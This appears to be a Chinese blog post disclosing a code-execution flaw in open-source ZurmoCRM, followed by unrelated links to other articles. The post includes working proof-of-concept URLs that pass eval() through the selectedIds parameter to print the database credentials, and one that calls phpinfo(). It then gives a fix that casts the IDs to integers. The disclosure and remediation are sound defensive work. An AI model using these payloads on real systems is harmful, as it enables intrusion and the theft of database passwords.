鉴于目前ZumroCRM已经云端化,其开源版本的代码基本没有人维护,也没有地方提交bug清单。但相信国内有一些用户在使用这个开源的版本,下面报告一个ZumoCRM的重大风险点。

风险描述:

当用户登录ZumroCRM之后,可以执行PHP代码。可能导致丢失数据,暴露数据库账号密码,甚至更严重的问题。

风险重现:

/leads/default/?selectedIds=eval("echo(Yii::app()->db->connectionString.'=='.Yii::app()->db->username.'=='.Yii::app()->db->password);")

/leads/default/?selectedIds=phpinfo()

风险分析:

在一些ListView的$_GET['selectedIds'],其中参数 selectedIds作为表达式会被执行,调用了CComponent类的evaluateExpression,实际执行了php的eval() 或call_user_func_array()

风险位置:

所有含有CheckBoxColumn的ListView都有这个漏洞。

修正方法:

在\app\protected\core\utils\GetUtil.php的public static function resolveSelectedIdsFromGet()方法改造如下

        /**
* Resolve selectedIds value based on $_GET['selectedIds'].
*/
public static function resolveSelectedIdsFromGet()
{
if (!empty($_GET['selectedIds']))
{
Yii::log('Class:GetUtil;\r\nmethod:resolveSelectedIdsFromGet;\r\n$selectedIds:'.json_encode($_GET['selectedIds'], JSON_FORCE_OBJECT), CLogger::LEVEL_WARNING);
$arr = explode(",", $_GET['selectedIds']); // Not Coding Standard
$intarr = array_map('intval',$arr);//强制转换为id数组,避免被当作表达式执行
return $intarr;
}
else
{
return array();
}
}

ZurmoCRM 可执行代码高危风险报告及修复的更多相关文章

  1. [转载]基于TFS实践敏捷-修复Bug和执行代码评审

    本主题阐释了这些功能,以继续这一关注虚拟敏捷团队成员的一天的教程. Peter 忙于编写一些代码以完成积压工作 (backlog) 项任务.但是,他的同事发现了一个阻碍他们工作的 Bug,他想立即修复 ...

  2. 【.net 深呼吸】限制执行代码的权限

    前面好几篇文章,老周都跟大伙伴们聊了跟应用程序域有关的话题,干脆咱们一聊到底吧,做学问就应该这样,有恒心. App Domain的创建新应用程序域的方法中,有一个特殊的重载: public stati ...

  3. 【转】C# 将字符串或表达式直接转为可执行代码的办法

    C# 将字符串或表达式直接转为可执行代码的办法 反射类 using System; using System.Data; using System.Configuration; using Syste ...

  4. 在VC环境下执行代码出现错误

    这是在执行代码过程中出现的错误,源代码在别的电脑上能运行,在自己的VC里运行就出现错误,在网上也搜过解决办法,但还是有点不太理解,是编程环境的问题h还是代码本身也存在问题???

  5. C#实现每隔一段时间执行代码(多线程)

    总结以下三种方法,实现c#每隔一段时间执行代码: 方法一:调用线程执行方法,在方法中实现死循环,每个循环Sleep设定时间: 方法二:使用System.Timers.Timer类: 方法三:使用Sys ...

  6. C#动态编译、执行代码

    在开始之前,先熟悉几个类及部分属性.方法:CSharpCodeProvider.ICodeCompiler.CompilerParameters.CompilerResults.Assembly. 一 ...

  7. python顶级执行代码

    只有主程序中由大量顶级执行代码(即没有被缩进的代码行),所有其他被导入的模块只应该又很少的顶级执行代码. 如果模块是被导入,__name__就是模块名. 如果模块是被直接执行,__name__就是__ ...

  8. C/C++程序在main之前执行代码

    来源:<周哥教IT.C语言深学活用>https://ke.qq.com/course/242707#tuin=a71606 我们在学习C/C++语言的时候,通常认为main函数是整个程序执 ...

  9. 执行代码出现ImportError:attempted relative import with no known parent package

    前言 在这篇文章中,我将会解析 ImportError: attempted relative import with no known parent package 这个异常的原因.当你在运行的py ...

随机推荐

  1. DP_Milking Time

    Bessie is such a hard-working cow. In fact, she is so focused on maximizing her productivity that sh ...

  2. NIT校赛-- 雷顿女士与分队

    题意:https://ac.nowcoder.com/acm/contest/2995/D 思路: 和最大子串很像,dp[i]=max(dp[i-1]+a[i],a[i]),要不和前面连一起,要不就是 ...

  3. shell习题第15题:看数字找规律

    [题目要求] 请仔细查看如下几个数字的规律,并使用shell脚本输出后面的十个数字 10 31 53 77 105 141... ... [核心要点] 计算两个数值之间的差值 [脚本] #!/bin/ ...

  4. python selenium2 模拟点击+拖动 测试对象 58同城验证码

    #!/usr/bin/python # -*- coding: UTF-8 -*- # @Time : 2019/12/5 17:30 # @Author : shenghao/10347899@qq ...

  5. Windows 软件使用

    1.CMD 1. 查看端口对应进程 netstat -ano|findstr "443" 2.通过PID 查找对应进程 tasklist|findstr “<PID号> ...

  6. jQuery 手写菜单(ing)

    菜单支持多级 直接上代码 <!DOCTYPE html> <html lang="en"> <head> <meta charset=&q ...

  7. mybatis+oracle 批量插入,若数据库中有则做更新操作

    1.只批量插入: insert into WXPAY_ACCOUNT(id ,out_trade_no ,transaction_id)select SEQ_WXPAY_ACCOUNT.nextval ...

  8. Django的请求生命周期与中间件中的5中方法

    请求生命周期: 客户端——>WSGI——> 中间件——>路由匹配——>视图函数——>WSGI——>客户端 中间件: 在全局层明处理请求和响应的 form djang ...

  9. Oracle笔记(十一) 建表、更新、查询综合练习

    有某个学生运动会比赛信息的数据库,保存了如下的表: 运动员sporter(运动员编号sporterid,运动员姓名name,运动员性别sex,所属系号department) 项目item(项目编号it ...

  10. linux入门常用指令3.安装mysql

    下载安装包 MySQL-5.6.42-1.el6.x86_64.rpm-bundle_redhat [root@localhost src]# mkdir mysql [root@localhost ...